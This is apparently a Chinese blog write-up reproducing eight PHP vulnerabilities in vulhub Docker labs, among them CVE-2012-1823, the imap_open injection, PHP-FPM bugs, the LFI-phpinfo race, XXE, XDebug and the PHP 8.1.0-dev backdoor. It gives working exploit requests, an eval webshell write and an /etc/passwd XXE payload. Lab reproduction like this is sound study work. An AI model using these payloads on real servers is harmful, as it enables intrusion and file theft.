您的当前位置:首页正文

vulhub漏洞复现51_PHP

2024-11-26 来源:个人技术集锦

一、 CVE-2012-1823_PHP-CGI远程代码执行漏洞

漏洞详情

 - 参考文章 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

 - 影响版本 php < 5.3.12 or php < 5.4.2

测试环境

靶场:192.68.4.10_ubuntu

#docker-compose up -d

环境启动后,访问`http://your-ip:8080/`可见“Hello”字样。

访问`http://your-ip:8080/index.php?-s`即爆出源码,说明漏洞存在。

```

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1

Host: example.com

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 31

<?php echo shell_exec("id"); ?>

```

二、 CVE-2018-19518_PHP imap 远程命令执行漏洞

漏洞详情

php imap扩展用于在PHP中执行邮件收发操作。其`imap_open`函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

因为ssh命令中可以通过设置`-oProxyCommand=`来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

漏洞环境

#docker-compose up -d

 目标源码在[index.php](www/index.php)

漏洞复现

发送如下数据包即可成功执行命令`echo '1234567890'>/tmp/test0001`:

```

POST / HTTP/1.1

Host: your-ip

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

```

 

执行`docker-compose exec web bash`进入容器,可见`/tmp/test0001`已成功创建:

 

三、 CVE-2019-11043_ PHP-FPM 远程代码执行漏洞

漏洞详情

在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。

漏洞环境

#docker-compose up -d

环境启动后,访问`http://your-ip:8080/index.php`即可查看到一个默认页面。

 

漏洞复现

Msf复现

 

四、 PHP-FPM Fastcgi 未授权访问漏洞

漏洞原理

详见<https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html>。

环境搭建

直接执行`docker-compose up -d`即可运行测试环境,环境监听9000端口。

Exp见

#python3 poc.py 192.168.4.10  -c '<?php echo `id`; exit; ?>' -p 9000 /usr/local/lib/php/PEAR.php

执行结果:

 

五、 PHP文件包含漏洞(利用phpinfo)

漏洞详情

PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

漏洞环境

#docker-compose up -d

目标环境是官方最新版PHP7.2,说明该漏洞与PHP版本无关。

环境启动后,访问`http://your-ip:8080/phpinfo.php`即可看到一个PHPINFO页面

 访问`http://your-ip:8080/lfi.php?file=/etc/passwd`,可见的确存在文件包含漏洞。

 漏洞利用

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是`/tmp/php[6个随机字符]`),文件名可以在`$_FILES`变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到`$_FILES`变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

漏洞复现

利用脚本[exp.py](exp.py)实现了上述过程,成功包含临时文件后,会执行`<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>`,写入一个新的文件`/tmp/g`,这个文件就会永久留在目标机器上。

用python2执行:`python exp.py your-ip 8080 100`:

 可见,执行到第289个数据包的时候就写入成功。然后,利用lfi.php,即可执行任意命令:

http://192.168.4.10:8080/lfi.php?file=/tmp/g&1=system(%27id%27);

 

六、 PHP环境 XML外部实体注入漏洞(XXE)

漏洞环境

- PHP 7.0.30

- libxml 2.8.0

漏洞详情

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。

#docker-compose up -d

环境启动后,访问`http://your-ip:8080/index.php`即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。

 

漏洞复现

```bash

$ tree .

.

├── dom.php # 示例:使用DOMDocument解析body

├── index.php

├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body

└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body

```

`dom.php`、`SimpleXMLElement.php`、`simplexml_load_string.php`均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。

Simple XXE Payload:

```

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

```

输出:

 

七、 XDebug 远程调试漏洞(代码执行)

漏洞详情

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置`remote_connect_back = 1`:

```

xdebug.remote_connect_back = 1

xdebug.remote_enable = 1

```

测试环境

靶场:192.168.4.29_kali

#docker-compose build

#docker-compose up -d

启动完成后,访问`http://your-ip:8080/`即可发现主页是一个简单的phpinfo,在其中可以找到xdebug的配置,可见开启了远程调试。

 

漏洞利用

因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞。

使用环境自带pexp:

```

# 要求用python3并安装requests库

python3 exp.py -t http://192.168.4.29:8080/index.php -c 'shell_exec('id');'

```

 

八、 PHP 8.1.0-dev 开发版本后门事件

漏洞详情

PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送**User-Agentt**头来执行任意代码。

漏洞环境

靶场:192.168.4.10_ubuntu

执行如下命令启动一个存在后门的PHP 8.1服务器:

#docker-compose up -d

环境启动后,服务运行在`http://your-ip:8080`。

 

漏洞复现

发送如下数据包,可见代码`var_dump(233*233);`成功执行:

```

GET / HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

User-Agentt: zerodiumvar_dump(233*233);

Connection: close

```

显示全文